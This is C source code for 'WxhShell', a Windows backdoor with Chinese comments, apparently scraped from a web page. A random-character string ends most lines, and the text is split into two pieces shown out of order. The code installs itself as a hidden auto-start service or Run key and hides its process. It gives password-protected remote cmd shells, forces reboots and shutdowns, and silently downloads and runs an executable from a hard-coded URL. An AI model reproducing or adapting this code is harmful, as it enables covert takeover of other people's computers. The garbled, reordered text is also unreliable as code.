    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @c$mc  
    if(Boot(SHUTDOWN))  wSV[nK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >E"FoZM=  
    else { TdD-# |5  
    closesocket(wsh); v}[KVwse  
    ExitThread(0); Jc9SHCJ  
    } +}4vdi"  
    break; #D//oL"u]  
    } pS%,wjb&P  
  // 获取shell r(vk2Qy  
  case 's': { >YoK?e6  
    CmdShell(wsh); j- F=5)A  
    closesocket(wsh); 0]>p|m9K^<  
    ExitThread(0); L/nz95  
    break; P'ZWAxd  
  } >R!^aJ  
  // 退出 E C7f  
  case 'x': { , {z$M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^@X =v`C  
    CloseIt(wsh); |BYD]vK  
    break; ]iLfe&f  
    } 2b|vb}|t{  
  // 离开 wK#UFOp  
  case 'q': { P!bm$h*3?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D"1ciO8^I]  
    closesocket(wsh); j?z(fs-  
    WSACleanup(); nsgNIE{>gO  
    exit(1); -JwH^*Ad  
    break; 4TR:bQZs  
        } &5d>jEaB}  
  } 3Q`'C7Pi  
  } cW&OVNj  
PrN?;Z.  
  // 提示信息 pm)A*][s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;yk@`<  
} RNvtgZ}k{X  
  } &]z2=\^e  
wRie{Vk  
  return; )XO2DY1/&  
} 8%nTDSp&t  
?+Qbr$]  
// shell模块句柄 0W=IuPDU  
int CmdShell(SOCKET sock) &x=<>~Ag3  
{ 4a)qn?<z  
STARTUPINFO si; SH}O?d\Q:  
ZeroMemory(&si,sizeof(si)); o)-Qd3d%S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iwmXgsRa9}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TD3R/NP  
PROCESS_INFORMATION ProcessInfo; <<;j=Yy({`  
char cmdline[]="cmd"; `C!Pe84(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $6oLiYFX;  
  return 0; 9Xm"kVqd/  
} +JQN=nTA  
mfx 'Yw*{  
// 自身启动模式 ;wvV hQ  
int StartFromService(void) Vx#xq#wK  
{ zSq+#O1#  
typedef struct zxsnrn;|  
{ 7z+NR&' M$  
  DWORD ExitStatus; a>Q7Qn  
  DWORD PebBaseAddress; }D|"$*  
  DWORD AffinityMask; beIEy(rA  
  DWORD BasePriority; 1P[!B[;c  
  ULONG UniqueProcessId; ke/o11LP  
  ULONG InheritedFromUniqueProcessId; 2oq>tnYyV[  
}   PROCESS_BASIC_INFORMATION; '{Ywb@Bc  
'vCFT(C-  
PROCNTQSIP NtQueryInformationProcess; e1'_]   
9h9Y:i*Gh5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _|s{G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  kU#$  
WRo#ZVt9$  
  HANDLE             hProcess; pWQ?pTh  
  PROCESS_BASIC_INFORMATION pbi; $T*kpUXH}  
2 K` hH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Li7/pUq>}!  
  if(NULL == hInst ) return 0; @h$7C<  
& d~6MSk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q|Ga   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W;hI[9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,>e<mphM  
E7 7Au;TL  
  if (!NtQueryInformationProcess) return 0; #&$4tTl  
Lo !kv*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;H}? 8L  
  if(!hProcess) return 0; 1o.]"~0:  
=NlAGzv!w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  okfhd{9  
9v/1>rziE  
  CloseHandle(hProcess); `XI1,&Wp7  
7<X_\,I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $e0sa=/  
if(hProcess==NULL) return 0; J/)Q{*`_  
WJ/&Ag1  
HMODULE hMod; ,.DU)Wi?}  
char procName[255]; j1>1vD-`T  
unsigned long cbNeeded; r1t  TY?  
ga!t:O@w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %/~Sq?f-9@  
^gD&NbP8  
  CloseHandle(hProcess); ](3=7!!J  
]BX|G`CCc  
if(strstr(procName,"services")) return 1; // 以服务启动 .`iOWCS  
ld}- }W-cq  
  return 0; // 注册表启动 $S3C_..  
} @_0XK)pW  
J4=~.&6  
// 主模块 na>UFw7>*  
int StartWxhshell(LPSTR lpCmdLine) 0riTav8  
{ W!htCwnkF  
  SOCKET wsl; <Y<%=`  
BOOL val=TRUE; M/>^_zG  
  int port=0; )g+~"&Gcx  
  struct sockaddr_in door; ?3"lI,!0  
arRb q!mO  
  if(wscfg.ws_autoins) Install(); 7'CdDB6&.  
"}(*Km5Po  
port=atoi(lpCmdLine); qgDd^0  
j%Usui<DL  
if(port<=0) port=wscfg.ws_port; 8FU8E2zo  
}cEcoi<v!  
  WSADATA data; 9K~X}]u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PA&Ev0`+  
1H{J T op  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Jf9a<[CcV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ={B%qq  
  door.sin_family = AF_INET; 9J$N5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6||zfH  
  door.sin_port = htons(port); /*i[MB  
'de&9\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?sk{(UN]  
closesocket(wsl); Y2W|b5  
return 1; }k~ih?E^s  
} ;M1#M:  
+9<"Y6  
  if(listen(wsl,2) == INVALID_SOCKET) { $mgW|TBXCQ  
closesocket(wsl); ~5q1zr)E  
return 1; yX0n yhq  
} *%E4 ,(T  
  Wxhshell(wsl); Kejp7 okb  
  WSACleanup(); wQEsq<  
QVJq%P  
return 0; ,K 8R%B  
h'jc4mu0  
} "m4. _4U  
<Z5-?wgf9  
// 以NT服务方式启动 j4k\5~yzS  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gF# HNv  
{ Py y!B  
DWORD   status = 0; tp*.'p-SI  
  DWORD   specificError = 0xfffffff; :m]H?vq] \  
OD]`oJ|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J}BN}|Y@2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X6 *4IE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <hvs{}TS  
  serviceStatus.dwWin32ExitCode     = 0; Ra) wlI x  
  serviceStatus.dwServiceSpecificExitCode = 0; 1-0tG+  
  serviceStatus.dwCheckPoint       = 0; /W9(}Id6  
  serviceStatus.dwWaitHint       = 0; R-LMV  
( RO-~-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 70Jx[3vr  
  if (hServiceStatusHandle==0) return; & %A&&XT9  
!mHMFwvS  
status = GetLastError(); GZH{"_$  
  if (status!=NO_ERROR) 4PjC[A*  
{ lonV_Xx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  |W_;L6)  
    serviceStatus.dwCheckPoint       = 0; ORuC("  
    serviceStatus.dwWaitHint       = 0; K*I!:1;3N  
    serviceStatus.dwWin32ExitCode     = status; y^Uh<L0M  
    serviceStatus.dwServiceSpecificExitCode = specificError; Kv0V`}<Yc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lg"aB  
    return; 5.1z9[z  
  } <yl%q*gls  
z_93j3 #  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; O,6Wdw3+-3  
  serviceStatus.dwCheckPoint       = 0; MH=7(15R  
  serviceStatus.dwWaitHint       = 0; P q0 %oz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .V4-  
} (Zg'])  
ls7eypKR  
// 处理NT服务事件,比如:启动、停止 JTIt!E}P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V6Mt;e)C  
{ @`$'sU  
switch(fdwControl) J0V`sK  
{ k/P.[5  
case SERVICE_CONTROL_STOP: *4/FN TC  
  serviceStatus.dwWin32ExitCode = 0; 3xg9D.A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qv& Bai[  
  serviceStatus.dwCheckPoint   = 0; *5IB@^<  
  serviceStatus.dwWaitHint     = 0; vd?Bk_d9k,  
  { 8Cs;.>75[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .7]P-]uOZ  
  } o?Aj6fNY?  
  return; Z1#u&oX  
case SERVICE_CONTROL_PAUSE: 2ah%,o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Mg #yl\v  
  break; I4W@t4bZ  
case SERVICE_CONTROL_CONTINUE: 4 km^S9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Jsl2RdI  
  break; c {/J.  
case SERVICE_CONTROL_INTERROGATE: > vdmN]  
  break; >H^#!eaqw  
}; e2f+Fv 9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {`QA.he.  
} W1 k]P.  
)adV`V%=>  
// 标准应用程序主函数 `^52I kM)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AtewC Yo  
{  D|)a7_  
OvAhp&k  
// 获取操作系统版本 +$|fUn{  
OsIsNt=GetOsVer(); W:,Wex^9n  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]} dQ~lOE  
k,[*h-{8  
  // 从命令行安装 J$Z=`=] t+  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2]1u0-M5L  
U.KQjBi  
  // 下载执行文件 rUpe  ;c  
if(wscfg.ws_downexe) { baBBn %_V  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) W#S82  
  WinExec(wscfg.ws_filenam,SW_HIDE); W%4=x>J-  
} O&1qL)  
_bGkJ=  
if(!OsIsNt) { < Hkq  
// 如果时win9x,隐藏进程并且设置为注册表启动 B2e"   
HideProc(); /TyGZ@S>m  
StartWxhshell(lpCmdLine); gs5(~YiT6  
} ,$0-I@*V  
else } vmRm*8z  
  if(StartFromService()) |RFBhB/u  
  // 以服务方式启动 odCt6Du  
  StartServiceCtrlDispatcher(DispatchTable); MfP)Pk5  
else PD)"od  
  // 普通方式启动 &E_a0*)e  
  StartWxhshell(lpCmdLine); 0^lWy+  
CmZayV  
return 0; L.Qz29\  
} CuWJai:nQ;  
|@vkQ  
.E<nQWz 8  
;$QC_l''b  
=========================================== 27EK +$  
@eJCr)#}  
<.Ws; HN}  
>> zd  
& 3BoK/y3  
d'RvpoM  
" eXW|{asx  
unLhI0XW  
#include <stdio.h> xWxc1tT`  
#include <string.h> }(oeNP M8  
#include <windows.h> WwDM^}e  
#include <winsock2.h> ;f[lq^eV  
#include <winsvc.h> T.4&P#a1  
#include <urlmon.h> qI+2,6 sGI  
d9K8[Q5^3  
#pragma comment (lib, "Ws2_32.lib") qhEv6Yxfw6  
#pragma comment (lib, "urlmon.lib") 98>GHl'lM  
T$I_nxh[)L  
#define MAX_USER   100 // 最大客户端连接数 Mfj82rHg  
#define BUF_SOCK   200 // sock buffer ,%M[$S'  
#define KEY_BUFF   255 // 输入 buffer A*EOn1hN  
Rff F:,b  
#define REBOOT     0   // 重启 wDJ`#"5p{  
#define SHUTDOWN   1   // 关机 ']r8q %  
pk :P;\  
#define DEF_PORT   5000 // 监听端口 UFG_ZoD+  
uu9M}]mDl  
#define REG_LEN     16   // 注册表键长度 # ]7Lieh[5  
#define SVC_LEN     80   // NT服务名长度 *\sPHz.  
;2p+i/sVj  
// 从dll定义API tAdE<).!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _)M,p@!?=h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n0xGIq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Oynb "T&8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `*C=R  _  
+$h  
// wxhshell配置信息 [_,as  
struct WSCFG { ~HZdIPcC  
  int ws_port;         // 监听端口 Smr{+m a  
  char ws_passstr[REG_LEN]; // 口令 i[v4[C=WB!  
  int ws_autoins;       // 安装标记, 1=yes 0=no hF%M!otcJ-  
  char ws_regname[REG_LEN]; // 注册表键名 qt@L&v}~j  
  char ws_svcname[REG_LEN]; // 服务名 JvpGxj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]~({;;3o-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m`/Nl<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9iA rBL"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /yOx=V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /wV|;D^ )  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3Q=^&o0fl  
Gv:~P_vBH[  
}; t|aV:x  
Nep4 J;  
// default Wxhshell configuration &X=7b@r  
struct WSCFG wscfg={DEF_PORT, a=iupXre9  
    "xuhuanlingzhe", b/wpk~qi  
    1, |9CikLX)7  
    "Wxhshell",  I//=C6  
    "Wxhshell", g.lTNQm$u  
            "WxhShell Service", *'%V}R[>  
    "Wrsky Windows CmdShell Service", &Y]':gJ  
    "Please Input Your Password: ", ]&cnc8tC  
  1, :xd;=;q5  
  "http://www.wrsky.com/wxhshell.exe", . %RM8  
  "Wxhshell.exe" b)LT[>f  
    }; L:z0cvn"  
ag-A}k>v  
// 消息定义模块 p4`1^}f&Ie  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G]^[i6PQs  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w!.@64-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yvAO"43  
char *msg_ws_ext="\n\rExit."; "mlQ z4D)5  
char *msg_ws_end="\n\rQuit."; @60D@Y  
char *msg_ws_boot="\n\rReboot..."; 2w 2Bc+#o  
char *msg_ws_poff="\n\rShutdown..."; d#k(>+%=Q  
char *msg_ws_down="\n\rSave to "; t]/eCsR  
Nk|cU;?+  
char *msg_ws_err="\n\rErr!"; j(;^XO Y#  
char *msg_ws_ok="\n\rOK!"; ,,H"?VO  
:|S zD4Ag  
char ExeFile[MAX_PATH]; A# {63_H  
int nUser = 0; bsIG1&n'T  
HANDLE handles[MAX_USER]; IhnBp 6p9  
int OsIsNt; $#Pxf  
~>2uRjvkwB  
SERVICE_STATUS       serviceStatus; k3~9;Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C|'DKT4M&  
([>ecS@eO  
// 函数声明 hXW` n*Zw  
int Install(void); /%wS5IZ^  
int Uninstall(void); |Splbs k  
int DownloadFile(char *sURL, SOCKET wsh); %opBJ   
int Boot(int flag); xoaO=7\io  
void HideProc(void); +$2{u_m,  
int GetOsVer(void); S;|:ci<[=  
int Wxhshell(SOCKET wsl); /jbAf]"F;  
void TalkWithClient(void *cs);  T]#V  
int CmdShell(SOCKET sock); <`H0i*|Ued  
int StartFromService(void); ll:UIxx  
int StartWxhshell(LPSTR lpCmdLine); ZnG.::&:  
V Z(/g"9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YOCEEh?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $.G 7Vt  
Dl,QCZeM  
// 数据结构和表定义 9&6juL  
SERVICE_TABLE_ENTRY DispatchTable[] = %uW  =kr  
{ gP^2GnjHL8  
{wscfg.ws_svcname, NTServiceMain}, Dg&84,bv^  
{NULL, NULL} jL VJ+mu  
}; 7_0 p& 3  
|)-kUu  
// 自我安装 j8Z,:op  
int Install(void) U1RU2M]v  
{ Q$jEmmm%V[  
  char svExeFile[MAX_PATH]; Dk1& <} I  
  HKEY key; pLMt 2 G  
  strcpy(svExeFile,ExeFile); Sg#XcTG  
G7Nw}cVJ)  
// 如果是win9x系统,修改注册表设为自启动 / 3A6xPOg  
if(!OsIsNt) { *Gsj pNr-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +y7z>Fwl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %@$UIO,(  
  RegCloseKey(key); 0I}e>]:I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'B@`gA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m[hL GD'Fi  
  RegCloseKey(key); 96=<phcwN[  
  return 0; gI+8J.AG=  
    } FG?Mc'r&  
  } 7[m?\/K~  
} _)A|JC!jId  
else { 8tY>%A~^z  
7& M-^Ev  
// 如果是NT以上系统,安装为系统服务 {#,<)wFV\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }^"6:;,  
if (schSCManager!=0) .@1+}0  
{ q=1 N&#R G  
  SC_HANDLE schService = CreateService h`[$ Bp  
  ( ,75)  
  schSCManager, *~rj!N?;  
  wscfg.ws_svcname, Q eeV<  
  wscfg.ws_svcdisp, "wUIsuG/p  
  SERVICE_ALL_ACCESS, pYr"3BwG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2HbnE&  
  SERVICE_AUTO_START, v.0qE}' |  
  SERVICE_ERROR_NORMAL, } ueFy<F  
  svExeFile, '&>"`q  
  NULL, X.]I4O&_  
  NULL, H]TdW;ZbZ  
  NULL, @gUp9ZwtH  
  NULL, Na\ZV|;*tu  
  NULL j3-YZKpg  
  ); j"W>fC/u  
  if (schService!=0) +UzQJt/>>  
  { W4^L_p>Tm^  
  CloseServiceHandle(schService); ;vn0%g  
  CloseServiceHandle(schSCManager); uF ?[H -y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K)Y& I  
  strcat(svExeFile,wscfg.ws_svcname); LoF/45|-<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^r}c&@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,Oo`*'a[o7  
  RegCloseKey(key); NvK9L.K  
  return 0; EF/d7  
    } {X{R]  
  } C.j+Zb1Z(  
  CloseServiceHandle(schSCManager); KE?t?p  
} ,'L>:pF3  
} PyeNu3Il4  
6opin  
return 1; GgO5=|  
} -D^I;[j_  
ep>!jMhJa  
// 自我卸载 V&Y`?Edc  
int Uninstall(void) `Rq=:6U;3  
{ 8|&,JdT  
  HKEY key; -4Qub{Uym  
-V$|t<  
if(!OsIsNt) { jNZ .Fb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) u?f| D  
  RegDeleteValue(key,wscfg.ws_regname); C{)1#<`  
  RegCloseKey(key); C6+ 5G-Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O\}C`CiC  
  RegDeleteValue(key,wscfg.ws_regname); YAi-eL67l  
  RegCloseKey(key); {v={q1  
  return 0; _H]\  
  } @T1G#[C~t  
} "Ih3  
} HU0.)tD  
else { #G9 W65f  
5epI'D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a@}.96lStD  
if (schSCManager!=0) iTxWXij  
{  _"DC )  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IsXNAYj  
  if (schService!=0) MT6p@b5  
  { \PX4>/d@y  
  if(DeleteService(schService)!=0) { }D1x%L  
  CloseServiceHandle(schService); i4D(8;  
  CloseServiceHandle(schSCManager); bpu`'Vx  
  return 0; Iu'9yb  
  } <,vIN,Kl8/  
  CloseServiceHandle(schService); f-U zFlU  
  } kBUkE-~  
  CloseServiceHandle(schSCManager); 8t+eu O  
} ;`AB-  
} U32$ 9"  
7H H  
return 1; ~E}kwF  
} %0\@\fC41  
Sv=YI  
// 从指定url下载文件 bW yimr&B  
int DownloadFile(char *sURL, SOCKET wsh) FvT&nb{  
{ &1 \/B  
  HRESULT hr; ,GOIg|51  
char seps[]= "/"; rFzNdiY  
char *token; zDF Nx:h  
char *file; kD#T _d  
char myURL[MAX_PATH]; VoCg,gow  
char myFILE[MAX_PATH]; 'h$:~C  
}i9:k kfq2  
strcpy(myURL,sURL); HwU9 y   
  token=strtok(myURL,seps); E|pT6  
  while(token!=NULL) ]w*"KG!(  
  { q@.>eB'92P  
    file=token; IIk_!VzT  
  token=strtok(NULL,seps); jN6V`Wh_  
  } Lf_Y4a#  
(l5p_x  
GetCurrentDirectory(MAX_PATH,myFILE); Q0A4}  
strcat(myFILE, "\\"); SQMl5d1d:  
strcat(myFILE, file); rgy I:F.  
  send(wsh,myFILE,strlen(myFILE),0); ;<~f-D,  
send(wsh,"...",3,0); gUiO66#x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 082}=Tsx   
  if(hr==S_OK) Xj, %t}  
return 0; We6eAP/Z  
else ED0cnr\yG  
return 1; 5(~Lr3v0  
kBP?_ O  
} i)l0[FNI}  
iXWzIb}CJ-  
// 系统电源模块 Om.%K>V  
int Boot(int flag) /gAT@Vx  
{ ^f[6NYS?  
  HANDLE hToken; b'wy{~l@  
  TOKEN_PRIVILEGES tkp; . 0dGS  
Bzz|2/1y  
  if(OsIsNt) { e'b*_Ps'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); X5owAc6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $Sc_E:`]  
    tkp.PrivilegeCount = 1; _'D(>e?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]p|?S[!=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w!lk&7Q7Z  
if(flag==REBOOT) { zJXK:/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2poo@]M/  
  return 0; }u#3hYa  
} Jp jHbG  
else { L|1,/h 8p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) loA/d  
  return 0; <NZPLo F  
} #7;?Ls  
  } e5mu-  
  else { <^s31.&p  
if(flag==REBOOT) { Byq VNz0L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QC'Ru'8S  
  return 0; i]n2\v AG  
} cGm3LS6]*  
else { Z/,R{Jgt"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #91^1jyMf  
  return 0; yPE3Awh5  
} U\%r33L )  
} Y" =8wNbr  
97Dq;  
return 1; *VsGa<V  
} ,X!)zAmm  
aiPm.h>  
// win9x进程隐藏模块 B}[CU='P*  
void HideProc(void) =!-}q  
{ ge`GQ>  
'p5M|h\:T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :uo)-9_  
  if ( hKernel != NULL ) =`x }9|[  
  { /mwUDf6x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); J4+WF#xI2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); iw#~xel<ez  
    FreeLibrary(hKernel); !h1:AW_iz  
  } Bq$IBAot  
f?d5Ltg   
return; =]%,&Se  
} /KvJjt'8  
_Q:z -si  
// 获取操作系统版本 OUWK  
int GetOsVer(void) I^EZs6~  
{ =r+K2]z,L  
  OSVERSIONINFO winfo; x8aOXN#w}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); LZ wCe$1  
  GetVersionEx(&winfo); yF\yxdUX#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  Gd A!8  
  return 1; WVD48}HF-  
  else XQ~Xls%]   
  return 0; U4 *u|A  
} YE@yts  
e-*@R#x8+  
// 客户端句柄模块 r10VFaly  
int Wxhshell(SOCKET wsl) (F^R9G|  
{ k.C&6*l!5;  
  SOCKET wsh; ^g4Gw6q 6  
  struct sockaddr_in client; PVg<Ovi^d  
  DWORD myID; ' pgP QM<  
ZBDF>u@  
  while(nUser<MAX_USER) JPF6zzl)  
{ *rTg>)  
  int nSize=sizeof(client); &|Wqzdo?#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s,r|p@^  
  if(wsh==INVALID_SOCKET) return 1; `U|7sLR  
Xfg3q.q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t Cb34Wpf  
if(handles[nUser]==0) n UmyPQ~  
  closesocket(wsh); c5%}* "z  
else Gtaa^mnxD  
  nUser++; j4,y+ 9U  
  } !Ew ff|v"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |8f}3R 9  
8#;=>m%  
  return 0; zg3kU65PJE  
} G@/iK/>5|`  
PP{ 9Y Vr  
// 关闭 socket `Pc6 G*p  
void CloseIt(SOCKET wsh) :pM 8Q1:B  
{ JXL?.{'A  
closesocket(wsh); HnArj_E  
nUser--; Btxtu"]nJo  
ExitThread(0); |kK5:\H  
} mt+i0PIfj  
e_e\Ie/pDc  
// 客户端请求句柄 .;g kV-]  
void TalkWithClient(void *cs) {ol7*%u  
{ Uj;JN}k  
="78#Wfj2  
  SOCKET wsh=(SOCKET)cs; MO$y st?fK  
  char pwd[SVC_LEN]; ]+Lr'HF  
  char cmd[KEY_BUFF]; 2$Xof  
char chr[1]; |l8=z*v<  
int i,j; (mp  
oc)`hg2=  
  while (nUser < MAX_USER) { 1N(#4mE=  
hYpxkco"4'  
if(wscfg.ws_passstr) { QOEi.b8r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `bBkPH}M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \}4Y]xjV2  
  //ZeroMemory(pwd,KEY_BUFF); Y Iwa =^  
      i=0; 0?$|F0U"J  
  while(i<SVC_LEN) { r'Wf4p^Xd  
3" m]A/6C}  
  // 设置超时 WYb}SI(E  
  fd_set FdRead; }Q4Vy  
  struct timeval TimeOut; ^7 \kvW  
  FD_ZERO(&FdRead); x?o#}:S  
  FD_SET(wsh,&FdRead); RAl/p9\A+  
  TimeOut.tv_sec=8; ?:3hp2k<  
  TimeOut.tv_usec=0; n4!RGq.}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .iy>N/u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]fzXrN_  
UstUPO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S>I` y]qlR  
  pwd=chr[0]; K-:y  
  if(chr[0]==0xd || chr[0]==0xa) { - (WH+  
  pwd=0; h#Z[ "BG  
  break; {Vj&i.2,  
  } w[d8#U   
  i++; wr"0+J7  
    } c45 s #6  
r<fcZ)jt|  
  // 如果是非法用户,关闭 socket P}~MO)*1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U2m#BMV  
} <c[\\ :Hh*  
N$kxf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7:olStK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MrB#=3pT  
 "x9yb0  
while(1) { z |llf7:  
 .x%w#  
  ZeroMemory(cmd,KEY_BUFF); h_?`ESI~  
>I\B_q  
      // 自动支持客户端 telnet标准   Q&.uL}R  
  j=0; 0zNbux_  
  while(j<KEY_BUFF) { @\w}p E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {)"[_<  
  cmd[j]=chr[0]; 4*qBu}(  
  if(chr[0]==0xa || chr[0]==0xd) { *Z"`g %,;  
  cmd[j]=0; uCr& `  
  break; BJwuN  
  } F8Ety^9>9  
  j++; "6\ 5eFN;  
    } z.8nYL5^}  
WGn=3(4  
  // 下载文件 $,@}%NlHc  
  if(strstr(cmd,"http://")) { g_cED15  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); x3&gB`j-  
  if(DownloadFile(cmd,wsh)) GGEM&0*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,i6E L  
  else pi"M*$  
